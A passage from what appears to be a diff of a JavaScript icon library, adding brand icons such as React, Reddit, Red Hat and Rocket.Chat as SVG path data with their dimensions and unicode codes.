8c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z" ], + react: [ 512, 512, [], "f41b", "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z" ], + reacteurope: [ 576, 512, [], "f75d", "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z" ], + readme: [ 576, 512, [], "f4d5", "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z" ], + rebel: [ 512, 512, [], "f1d0", "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z" ], + "red-river": [ 448, 512, [], "f3e3", "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z" ], + reddit: [ 512, 512, [], "f1a1", "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z" ], + "reddit-alien": [ 512, 512, [], "f281", "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z" ], + "reddit-square": [ 448, 512, [], "f1a2", "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z" ], + redhat: [ 512, 512, [], "f7bc", "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24" ], + renren: [ 512, 512, [], "f18b", "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z" ], + replyd: [ 448, 512, [], "f3e6", "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z" ], + researchgate: [ 448, 512, [], "f4f8", "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z" ], + resolving: [ 496, 512, [], "f3e7", "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z" ], + rev: [ 448, 512, [], "f5b2", "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z" ], + rocketchat: [ 576, 512, [], "f3e8", "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.98